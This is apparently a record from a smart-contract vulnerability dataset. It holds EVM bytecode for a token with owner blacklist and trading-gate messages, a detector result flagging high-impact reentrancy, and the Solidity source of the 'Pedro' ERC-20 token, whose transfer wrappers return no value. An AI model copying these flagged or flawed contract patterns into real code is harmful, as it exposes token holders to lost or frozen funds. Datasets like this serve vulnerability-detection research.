b156120335761201982612504565b60004790506000811115612031576120304761239b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120dd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121905750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561218f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561219e5760009050612325565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122495750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561226157600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561230c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561232457600a54600c81905550600b54600d819055505b5b6123318484848461278c565b50505050565b600083831115829061237f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123769190613648565b60405180910390fd5b506000838561238e9190613a61565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123eb6002846127b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612416573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124676002846127b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612492573d6000803e3d6000fd5b5050565b60006006548211156124dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d4906136aa565b60405180910390fd5b60006124e7612803565b90506124fc81846127b990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561253c5761253b613c6c565b5b60405190808252806020026020018201604052801561256a5781602001602082028036833780820191505090505b509050308160008151811061258257612581613c3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561262457600080fd5b505afa158015612638573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061265c9190613028565b816001815181106126705761266f613c3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126d730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611824565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161273b959493929190613865565b600060405180830381600087803b15801561275557600080fd5b505af1158015612769573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061279a5761279961282e565b5b6127a5848484612871565b806127b3576127b2612a3c565b5b50505050565b60006127fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a50565b905092915050565b6000806000612810612ab3565b9150915061282781836127b990919063ffffffff16565b9250505090565b6000600c5414801561284257506000600d54145b1561284c5761286f565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061288387612b12565b9550955095509550955095506128e186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c281612c22565b6129cc8483612cdf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a29919061384a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8e9190613648565b60405180910390fd5b5060008385612aa691906139d6565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612ae7670de0b6b3a76400006006546127b990919063ffffffff16565b821015612b0557600654670de0b6b3a7640000935093505050612b0e565b81819350935050505b9091565b6000806000806000806000806000612b2f8a600c54600d54612d19565b9250925092506000612b3f612803565b90506000806000612b528e878787612daf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612337565b905092915050565b6000808284612bd39190613980565b905083811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061374a565b60405180910390fd5b8091505092915050565b6000612c2c612803565b90506000612c438284612e3890919063ffffffff16565b9050612c9781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612cf482600654612b7a90919063ffffffff16565b600681905550612d0f81600754612bc490919063ffffffff16565b6007819055505050565b600080600080612d456064612d37888a612e3890919063ffffffff16565b6127b990919063ffffffff16565b90506000612d6f6064612d61888b612e3890919063ffffffff16565b6127b990919063ffffffff16565b90506000612d9882612d8a858c612b7a90919063ffffffff16565b612b7a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612dc88589612e3890919063ffffffff16565b90506000612ddf8689612e3890919063ffffffff16565b90506000612df68789612e3890919063ffffffff16565b90506000612e1f82612e118587612b7a90919063ffffffff16565b612b7a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e4b5760009050612ead565b60008284612e599190613a07565b9050828482612e6891906139d6565b14612ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9f9061378a565b60405180910390fd5b809150505b92915050565b6000612ec6612ec1846138ff565b6138da565b90508083825260208201905082856020860282011115612ee957612ee8613ca5565b5b60005b85811015612f195781612eff8882612f23565b845260208401935060208301925050600181019050612eec565b5050509392505050565b600081359050612f32816140ce565b92915050565b600081519050612f47816140ce565b92915050565b60008083601f840112612f6357612f62613ca0565b5b8235905067ffffffffffffffff811115612f8057612f7f613c9b565b5b602083019150836020820283011115612f9c57612f9b613ca5565b5b9250929050565b600082601f830112612fb857612fb7613ca0565b5b8135612fc8848260208601612eb3565b91505092915050565b600081359050612fe0816140e5565b92915050565b600081359050612ff5816140fc565b92915050565b60006020828403121561301157613010613caf565b5b600061301f84828501612f23565b91505092915050565b60006020828403121561303e5761303d613caf565b5b600061304c84828501612f38565b91505092915050565b6000806040838503121561306c5761306b613caf565b5b600061307a85828601612f23565b925050602061308b85828601612f23565b9150509250929050565b6000806000606084860312156130ae576130ad613caf565b5b60006130bc86828701612f23565b93505060206130cd86828701612f23565b92505060406130de86828701612fe6565b9150509250925092565b600080604083850312156130ff576130fe613caf565b5b600061310d85828601612f23565b925050602061311e85828601612fd1565b9150509250929050565b6000806040838503121561313f5761313e613caf565b5b600061314d85828601612f23565b925050602061315e85828601612fe6565b9150509250929050565b60008060006040848603121561318157613180613caf565b5b600084013567ffffffffffffffff81111561319f5761319e613caa565b5b6131ab86828701612f4d565b935093505060206131be86828701612fd1565b9150509250925092565b6000602082840312156131de576131dd613caf565b5b600082013567ffffffffffffffff8111156131fc576131fb613caa565b5b61320884828501612fa3565b91505092915050565b60006020828403121561322757613226613caf565b5b600061323584828501612fd1565b91505092915050565b60006020828403121561325457613253613caf565b5b600061326284828501612fe6565b91505092915050565b6000806000806080858703121561328557613284613caf565b5b600061329387828801612fe6565b94505060206132a487828801612fe6565b93505060406132b587828801612fe6565b92505060606132c687828801612fe6565b91505092959194509250565b60006132de83836132ea565b60208301905092915050565b6132f381613a95565b82525050565b61330281613a95565b82525050565b60006133138261393b565b61331d818561395e565b93506133288361392b565b8060005b8381101561335957815161334088826132d2565b975061334b83613951565b92505060018101905061332c565b5085935050505092915050565b61336f81613aa7565b82525050565b61337e81613aea565b82525050565b61338d81613afc565b82525050565b600061339e82613946565b6133a8818561396f565b93506133b8818560208601613b32565b6133c181613cb4565b840191505092915050565b60006133d960238361396f565b91506133e482613cc5565b604082019050919050565b60006133fc603f8361396f565b915061340782613d14565b604082019050919050565b600061341f602a8361396f565b915061342a82613d63565b604082019050919050565b6000613442601c8361396f565b915061344d82613db2565b602082019050919050565b600061346560268361396f565b915061347082613ddb565b604082019050919050565b600061348860228361396f565b915061349382613e2a565b604082019050919050565b60006134ab60238361396f565b91506134b682613e79565b604082019050919050565b60006134ce601b8361396f565b91506134d982613ec8565b602082019050919050565b60006134f160178361396f565b91506134fc82613ef1565b602082019050919050565b600061351460218361396f565b915061351f82613f1a565b604082019050919050565b600061353760208361396f565b915061354282613f69565b602082019050919050565b600061355a60298361396f565b915061356582613f92565b604082019050919050565b600061357d60258361396f565b915061358882613fe1565b604082019050919050565b60006135a060238361396f565b91506135ab82614030565b604082019050919050565b60006135c360248361396f565b91506135ce8261407f565b604082019050919050565b6135e281613ad3565b82525050565b6135f181613add565b82525050565b600060208201905061360c60008301846132f9565b92915050565b60006020820190506136276000830184613366565b92915050565b60006020820190506136426000830184613375565b92915050565b600060208201905081810360008301526136628184613393565b905092915050565b60006020820190508181036000830152613683816133cc565b9050919050565b600060208201905081810360008301526136a3816133ef565b9050919050565b600060208201905081810360008301526136c381613412565b9050919050565b600060208201905081810360008301526136e381613435565b9050919050565b6000602082019050818103600083015261370381613458565b9050919050565b600060208201905081810360008301526137238161347b565b9050919050565b600060208201905081810360008301526137438161349e565b9050919050565b60006020820190508181036000830152613763816134c1565b9050919050565b60006020820190508181036000830152613783816134e4565b9050919050565b600060208201905081810360008301526137a381613507565b9050919050565b600060208201905081810360008301526137c38161352a565b9050919050565b600060208201905081810360008301526137e38161354d565b9050919050565b6000602082019050818103600083015261380381613570565b9050919050565b6000602082019050818103600083015261382381613593565b9050919050565b60006020820190508181036000830152613843816135b6565b9050919050565b600060208201905061385f60008301846135d9565b92915050565b600060a08201905061387a60008301886135d9565b6138876020830187613384565b81810360408301526138998186613308565b90506138a860608301856132f9565b6138b560808301846135d9565b9695505050505050565b60006020820190506138d460008301846135e8565b92915050565b60006138e46138f5565b90506138f08282613b65565b919050565b6000604051905090565b600067ffffffffffffffff82111561391a57613919613c6c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061398b82613ad3565b915061399683613ad3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139cb576139ca613bdf565b5b828201905092915050565b60006139e182613ad3565b91506139ec83613ad3565b9250826139fc576139fb613c0e565b5b828204905092915050565b6000613a1282613ad3565b9150613a1d83613ad3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a5657613a55613bdf565b5b828202905092915050565b6000613a6c82613ad3565b9150613a7783613ad3565b925082821015613a8a57613a89613bdf565b5b828203905092915050565b6000613aa082613ab3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613af582613b0e565b9050919050565b6000613b0782613ad3565b9050919050565b6000613b1982613b20565b9050919050565b6000613b2b82613ab3565b9050919050565b60005b83811015613b50578082015181840152602081019050613b35565b83811115613b5f576000848401525b50505050565b613b6e82613cb4565b810181811067ffffffffffffffff82111715613b8d57613b8c613c6c565b5b80604052505050565b6000613ba182613ad3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613bd457613bd3613bdf565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6140d781613a95565b81146140e257600080fd5b50565b6140ee81613aa7565b81146140f957600080fd5b50565b61410581613ad3565b811461411057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d63679ac596e97d5a73e8b75bc8b29c059604dc524d56d48c917866dc31bf84164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,478
0x1b1646467c88b3cd567329e4493ead92363bb51d
// solium-disable linebreak-style pragma solidity ^0.4.23; contract Pedro_ERC20Token { string public name = "Pedro Token"; string public symbol = "PEDRO"; uint public decimals = 2; uint public INITIAL_SUPPLY = 255000000 * 10**uint(decimals); uint256 public totalSupply_; using SafeMath for uint256; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; totalSupply_ = INITIAL_SUPPLY; balances[owner] = INITIAL_SUPPLY; } mapping(address => uint256) balances; /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer( address _to, uint256 _value ) public returns (bool) { _transfer(_to, _value); } function _transfer( address _to, uint256 _value ) internal nonReentrant returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, msg.sender, _to, _value); return true; } event Transfer( address indexed _from, address indexed _to, uint256 value ); event Transfer( address indexed _spender, address indexed _from, address indexed _to, uint256 _value ); /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf( address _owner ) public view returns (uint256) { return balances[_owner]; } mapping(address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns(bool) { _transferFrom(_from,_to,_value); } function _transferFrom( address _from, address _to, uint256 _value ) public nonReentrant returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); emit Transfer(msg.sender,_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve( address _spender, uint256 _currentValue, uint256 _value ) public returns(bool) { require(_currentValue == allowed[msg.sender][_spender]); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); emit Approval(msg.sender, _spender, _currentValue, _value); return true; } event Approval( address indexed _owner, address indexed _spender, uint256 value ); event Approval( address indexed _owner, address indexed _spender, uint256 _oldValue, uint256 _value ); /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns(uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns(bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns(bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } address public owner; event OwnershipRenounced( address indexed previousOwner ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership( address _newOwner ) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership( address _newOwner ) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn( uint256 _value ) public { _burn(msg.sender, _value); } function _burn( address _who, uint256 _value ) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Math * @dev Assorted math operations */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul( uint256 a, uint256 b ) internal pure returns(uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div( uint256 a, uint256 b ) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub( uint256 a, uint256 b ) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add( uint256 a, uint256 b ) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde031461015157806318160ddd146101e157806323b872dd1461020c5780632ff2e9dc14610291578063313ce567146102bc578063324536eb146102e757806340c10f1914610312578063426a84931461037757806342966c68146103e6578063661884631461041357806370a0823114610478578063715018a6146104cf5780637d64bcb4146104e65780638da5cb5b1461051557806395d89b411461056c578063a9059cbb146105fc578063cb71253514610661578063d73dd623146106e6578063dd62ed3e1461074b578063f2fde38b146107c2575b600080fd5b34801561012e57600080fd5b50610137610805565b604051808215151515815260200191505060405180910390f35b34801561015d57600080fd5b50610166610818565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b506101f66108b6565b6040518082815260200191505060405180910390f35b34801561021857600080fd5b50610277600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c0565b604051808215151515815260200191505060405180910390f35b34801561029d57600080fd5b506102a66108d5565b6040518082815260200191505060405180910390f35b3480156102c857600080fd5b506102d16108db565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc6108e1565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b5061035d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e7565b604051808215151515815260200191505060405180910390f35b34801561038357600080fd5b506103cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610acf565b604051808215151515815260200191505060405180910390f35b3480156103f257600080fd5b5061041160048036038101908080359060200190929190505050610cb9565b005b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc6565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f57565b6040518082815260200191505060405180910390f35b3480156104db57600080fd5b506104e4610fa0565b005b3480156104f257600080fd5b506104fb6110a5565b604051808215151515815260200191505060405180910390f35b34801561052157600080fd5b5061052a61116d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057857600080fd5b50610581611193565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c15780820151818401526020810190506105a6565b50505050905090810190601f1680156105ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561060857600080fd5b50610647600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611231565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611244565b604051808215151515815260200191505060405180910390f35b3480156106f257600080fd5b50610731600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116d2565b604051808215151515815260200191505060405180910390f35b34801561075757600080fd5b506107ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ce565b6040518082815260200191505060405180910390f35b3480156107ce57600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611955565b005b600860149054906101000a900460ff1681565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ae5780601f10610883576101008083540402835291602001916108ae565b820191906000526020600020905b81548152906001019060200180831161089157829003601f168201915b505050505081565b6000600454905090565b60006108cd848484611244565b509392505050565b60035481565b60025481565b60045481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094557600080fd5b600860149054906101000a900460ff1615151561096157600080fd5b610976826004546119bd90919063ffffffff16565b6004819055506109ce82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bd90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483141515610b5b57600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fb3fd5071835887567a0671151121894ddccc2842f1d10bedad13e0d17cace9a78585604051808381526020018281526020019250505060405180910390a3600190509392505050565b610cc333826119d9565b50565b600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dd7576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e6b565b610dea8382611b8f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff